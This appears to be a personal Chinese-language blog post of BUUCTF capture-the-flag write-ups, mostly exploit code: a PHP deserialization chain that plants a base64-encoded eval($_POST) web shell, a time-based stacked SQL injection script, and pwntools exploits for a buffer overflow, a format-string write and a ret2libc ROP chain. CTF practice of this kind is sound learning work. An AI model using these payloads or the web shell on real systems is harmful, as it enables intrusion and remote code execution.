😫😫😫😫
哈哈 数据丢失了！我丢! 今天早上蓝屏了！丢！
直接放昨天写的了！
web
[EIS 2019]EzPOP
知识点：代码审计
exp
<?php
class B {
public $options = array('data_compress' => 0,'expire' => 0,'serialize'=>'strval',
'prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/'
);
}
class A
{
public function __construct(){
$this->store = new B();
$this->autosave = 0;
$this->key = '1.php';
$this->expire = null;
$this->cache = array(111=>array('path'=>"PD9waHAgZXZhbCgkX1BPU1RbJ3VwbG9hZCddKTs/Pg=="));;
$this->complete = '';
}
}
$a = new A();
echo urlencode(serialize($a));
|
还有一些小细节也没了！https://www.jianshu.com/p/ad9d30ee0d1d
不给就是 base64加密的时候 =号后面的不解析了！ 对这个小细节要知道！
可以看这个大佬的！
[SWPU2019]Web4
知识点：sql+代码审计
还有这个小细节就是 ！加分号！发现没问题！说明可以堆叠注入！
预编译堆叠注入！
https://blog.csdn.net/mochu7777777/article/details/105202300
exp
import requests
import time
proxy = '127.0.0.1:8080'
proxies = {
'http': 'http://' + proxy,
'https': 'https://' + proxy,
}
url = "http://ec281d53-a7df-49b2-8913-f2bc7e06627a.node4.buuoj.cn:81/index.php?r=Login/Login"
burp0_cookies = {"OUTFOX_SEARCH_USER_ID_NCOO": "1935872068.9989924", "UM_distinctid": "17b0b3c6b83d44-005a7fe99cb475-d7e163f-144000-17b0b3c6b84c1f"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36", "Content-Type": "application/json", "Accept": "*/*", "Origin": "http://ec281d53-a7df-49b2-8913-f2bc7e06627a.node4.buuoj.cn:81", "Referer": "http://ec281d53-a7df-49b2-8913-f2bc7e06627a.node4.buuoj.cn:81/index.php?r=Login/Index", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
flag=''
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
payload1 = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(5),1)".format(i,mid)
payload2 = "select if(ascii(substr((select flag from flag),{0},1))>{1},sleep(5),1)".format(i,mid)
json1 = {
"password": "a",
"username": "asd';set @a=0x{};prepare ctftest from @a;execute ctftest-- -".format(str_to_hex(payload1))
}
json2 = {
"password": "bbb",
"username": "asd';set @a=0x{};prepare ctftest from @a;execute ctftest-- -".format(str_to_hex(payload2))
}
try:
print(i, mid)
r1 = requests.post(url, json=json1, proxies=proxies,timeout=3)
except requests.exceptions.ReadTimeout as e:
flag +=chr(mid)
print(flag)
break
else:
try:
r2 = requests.post(url, json = json2,proxies=proxies,timeout =3)
if r2.status_code == 429:
print("fast2\n")
time.sleep(1)
except requests.exceptions.ReadTimeout as e:
low = mid + 1
else:
top = mid - 1
if flag == f1:
break
print(flag)
|
pwn
jarvisoj_level0
原题
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0
def main():
try:
if content == 1:
upload = process("./pwn1")
else:
upload = remote("node4.buuoj.cn",25003)
except:
print("The exp is error~")
payload = ('a' * (136)).encode()
payload = payload + p64(0x400596)
upload.recvuntil("Hello, World\n")
upload.sendline(payload)
upload.interactive()
main()
|
[第五空间2019 决赛]PWN5
知识点：格式化字符串漏洞
exp
偏移量是10！
AAAA,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
from pwn import *
context(os="linux", arch="x86", log_level="debug")
content = 0
def main():
try:
if content == 1:
upload = process("over")
else:
upload = remote("node4.buuoj.cn", 28999)
except:
print("[!!]The exp is content error~")
addr = 0x0804C044
payload = p32(addr) + '%10$n'
upload.recvuntil("your name:")
upload.sendline(payload)
upload.recvuntil("your passwd:")
upload.sendline('4')
upload.interactive()
main()
|
文章：
https://niceseven.github.io/post/2020/02/12/buuctf-pwn-%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B42019-%E5%86%B3%E8%B5%9Bpwn5/
ciscn_2019_c_1
知识点：rop链
rop链其实不太会的！
这个程序！加密的时候有一个栈溢出！
没给shell!那只能自己找libc!
思路：
puts函数，可以用于leak。
所以就是leak出函数地址，确定libc，之后构造ROP
和以前做的一题有点像！以前是通过write函数来leak的！
和以前拿到题思路一样！、
1.泄露write地址，获取与libc偏移量 为什么要偏移量呢！ 这里可以这样理解！就是不同libc里差值是一样的！
就是 2 - 7 和 5 - 10 2到5是3 7到10也是3 把数字看成函数就行了！
所以得到函数地址后 - libc里的函数地址就是差值！
2.得到system和/bin/sh
3.pwn
我们有write@plt和got
这里我们用put函数就行了！
exp
from pwn import *
from LibcSearcher import *
sh = remote('node3.buuoj.cn', 25264)
elf = ELF('./ciscn_2019_c_1')
start = elf.sym['main']
rdi_addr = 0x0000000000400c83
puts_plt = elf.plt['puts']
gets_got = elf.got['gets']
puts_got = elf.got['puts']
log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))
log.success('puts_got => {}'.format(hex(puts_got)))
sh.sendlineafter('choice!\n', '1')
payload1 = 'a' * 88
payload1 += p64(rdi_addr) + p64(puts_got) + p64(puts_plt)
payload1 += p64(start)
sh.sendline(payload1)
gdb.attach(sh)
sh.recvuntil('@')
sh.recvline()
puts_leak = u64(sh.recvline()[:-1].ljust(8, '\0'))
log.success('puts_leak_addr => {}'.format(hex(puts_leak)))
libc = LibcSearcher('puts', puts_leak)
libc_base = puts_leak - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))
sh.sendlineafter('choice!\n', '1')
payload2 = 'a' * 88
payload2 += p64(0x4006b9)
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)
sh.sendline(payload2)
sh.interactive()
|
这个exp不好写！太难了！🤡🤡🤡
我自己写的好像问题 ！
from pwn import *
from LibcSearcher import *
def dd(enc):
res = ''
for i in range(len(enc)):
if ord(enc[i]) <= 96 or ord(enc[i]) > 122:
if ord(enc[i]) <= 64 or ord(enc[i]) > 90:
if ord(enc[i]) > 47 or ord(enc[i]) <= 57:
res += chr(ord(enc[i]) ^ 0xf)
else:
res += chr(ord(enc[i]) ^ 0xe)
else:
res += chr(ord(enc[i]) ^ 0xd)
return res
context(os="linux", arch="amd64", log_level="debug")
p = remote("node4.buuoj.cn", 25264)
elf = ELF("./ciscn_2019_c_1")
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got["puts"]
main_addr = elf.symbols["main"]
pop_rdi = 0x0000000000400C83
p.sendlineafter('choice!\n', '1')
payload = 'a' * 88 + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) +p64(main_addr)
p.sendline(dd(payload))
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
puts_leak = u64(p.recvline()[:-1].ljust(8, '\0'))
libc = LibcSearcher('puts', puts_leak)
libc_base = puts_leak - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
p.sendlineafter('choice!\n', '1')
payload2 = 'a' * 88
payload2 += p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr)
p.endline(payload2)
p.interactive()
|
